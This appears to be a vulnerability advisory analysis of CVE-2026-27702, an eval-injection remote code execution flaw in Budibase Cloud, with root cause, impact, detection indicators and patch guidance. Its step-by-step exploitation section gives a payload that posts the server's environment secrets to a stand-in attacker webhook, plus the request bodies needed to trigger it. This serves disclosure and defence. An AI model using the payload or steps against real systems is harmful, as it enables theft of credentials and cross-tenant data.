CVE-2026-27702: 
JavaScript vulnerability analysis and mitigation

CVE-2026-27702 is a critical Remote Code Execution (RCE) vulnerability in Budibase's view filtering implementation, caused by an unsafe eval() call that allows any authenticated user — including free-tier accounts — to execute arbitrary JavaScript on the server. It affects Budibase (npm package) versions prior to 3.30.4 and exclusively impacts Budibase Cloud (SaaS); self-hosted deployments are not vulnerable. The vulnerability was discovered by researcher "vicevirus," privately disclosed to Budibase on February 21, 2026, patched on February 21, 2026 (released as version 3.30.4), and published to the GitHub Advisory Database on February 23, 2026. The CVSS v3.1 base score is 9.9 (Critical) per the GitHub Advisory / ENISA rating (Github Advisory, Budibase Security Advisory).

The root cause is an eval injection (CWE-95) combined with improper input validation (CWE-20) and code injection (CWE-94) in packages/server/src/db/inMemoryView.ts. In the runView() function, the user-controlled view.map string is concatenated directly into an eval() call — eval("fn = " + view?.map?.replace(...)) — without any sanitization. On Budibase Cloud, the in-memory PouchDB path is used instead of native CouchDB design documents (used by self-hosted), meaning the eval() is reached. An attacker exploits this by injecting a malicious filter value when creating a table view via POST /api/views, using a payload such as x" || (MALICIOUS_CODE_HERE, true) || " to break out of the string context and inject arbitrary Node.js code. When the view is subsequently queried via GET /api/views/{viewName}, the stored malicious map function is eval()'d server-side, achieving RCE. A full public PoC script (Python) is included in the security advisory (Budibase Security Advisory, Patch PR).

Successful exploitation grants an attacker arbitrary JavaScript execution in the Node.js app-service pod on Budibase Cloud, with access to all environment variables baked into the pod, including INTERNAL_API_KEY, JWT_SECRET, CouchDB admin credentials, AWS keys, and MinIO access keys. Using extracted CouchDB credentials, an attacker can directly access the database, enumerate all tenant databases (verified at ~489,827 databases), and read user records including email addresses across all tenants. The vulnerability also enables write access (demonstrated by uploading arbitrary HTML files to tenant subdomains), and — combined with the budibase:auth cookie lacking the HttpOnly flag — could be chained into account takeover of any Budibase Cloud user via XSS served from an attacker-controlled subdomain (Budibase Security Advisory, Github Advisory).

A detailed public PoC Python script is included in the official security advisory and is exploitable by any authenticated user, including those on free-tier accounts, with no special privileges beyond a valid session token. There is no confirmed evidence of in-the-wild exploitation at the time of disclosure; the Feedly executive summary notes "no evidence of proof of exploitation at the moment." No threat actor attribution is available. The EPSS score is approximately 0.098% (27th percentile) per the GitHub Advisory Database, and the vulnerability is not currently listed in the CISA KEV catalog (Github Advisory, Budibase Security Advisory).

1. Account Setup: Register a free Budibase Cloud account at https://budibase.app and create a new application with at least one table containing a text field.
2. Obtain Session Token: Log in and extract the budibase:auth JWT cookie value from the browser (note: the cookie lacks HttpOnly, making it accessible via JavaScript). Also note the app ID (x-budibase-app-id header) and a valid table ID.
3. Craft Malicious Payload: Construct an eval-injection payload for the filter value field, e.g.:

   x" || (require('https').request({hostname:'attacker.webhook.site',path:'/exfil',method:'POST'}).end(JSON.stringify(process.env)), true) || "

   This closes the expected string context, injects arbitrary Node.js code, and restores valid syntax.
4. Create Malicious View: Send a POST request to /api/views with the malicious payload embedded in the filters[].value field:

   {"tableId": "<TABLE_ID>", "name": "RCE_view", "filters": [{"key": "email", "condition": "EQUALS", "value": "<PAYLOAD>"}]}

   The backend stores this view configuration (including the malicious filter value) in CouchDB.
5. Trigger RCE: Send a GET request to /api/views/RCE_view. The server calls runView(), which constructs the map function string from the stored (unsanitized) filter value and passes it to eval(), executing the injected code in the Node.js server context.
6. Exfiltrate Secrets: The injected code sends process.env (containing JWT_SECRET, INTERNAL_API_KEY, COUCH_DB_URL, MINIO_ACCESS_KEY, AWS keys, etc.) to the attacker's webhook endpoint.
7. Lateral Movement: Use extracted CouchDB credentials to directly access the database server, enumerate all tenant databases, and read or modify user records across the entire Budibase Cloud platform (Budibase Security Advisory, Github Advisory).

• Network: Unexpected outbound HTTP/HTTPS POST requests from the app-service pod to external or unknown hosts (e.g., webhook.site or attacker-controlled infrastructure), particularly originating from the Node.js process; direct connections from the app-service pod to CouchDB on non-standard ports or from unexpected source IPs.
• Logs: API access logs showing POST /api/views requests with unusually long or encoded filters[].value fields containing characters like ||, require(, or process.env; followed shortly by GET /api/views/<viewName> from the same session.
• Environment/Process: Unexpected child processes spawned by the Node.js app-service process; evidence of process.env being serialized or transmitted (e.g., large JSON payloads in outbound requests containing known secret key names like JWT_SECRET, INTERNAL_API_KEY, COUCH_DB_URL).
• File System: Unexpected HTML or script files uploaded to tenant subdomains (e.g., *.budibase.app) not associated with legitimate app content.
• Database: Unusual CouchDB access patterns — enumeration of all databases, bulk reads of the _users or users tables, or access from IP addresses not associated with the Budibase application tier (Budibase Security Advisory).

Budibase released version 3.30.4 on February 21, 2026, which patches this vulnerability by rebuilding map/reduce functions from view metadata using a sanitized viewBuilder (rather than eval()-ing stored user-controlled strings), escaping all filter keys and values with JSON.stringify, validating filter conditions/conjunctions against an allowlist, and disabling legacy v1 view endpoints on cloud deployments entirely. Budibase Cloud (SaaS) users are protected automatically upon platform update. Organizations should also immediately rotate any potentially exposed credentials — JWT_SECRET, INTERNAL_API_KEY, CouchDB admin credentials, AWS keys, and MinIO access keys — and review CouchDB access logs for unauthorized enumeration or data access. Self-hosted deployments are not affected and require no action (Budibase Security Advisory, Patch Commit, Release 3.30.4).

The vulnerability was covered by The Hacker Wire, which published a dedicated article on the critical RCE (The Hacker Wire). Social media activity was observed on Mastodon and Bluesky shortly after disclosure. The advisory was also picked up by GitLab's advisory database and multiple vulnerability aggregators. Community reaction highlighted the severity of the multi-tenant impact — with nearly 490,000 CouchDB databases potentially accessible — and the ease of exploitation from a free-tier account.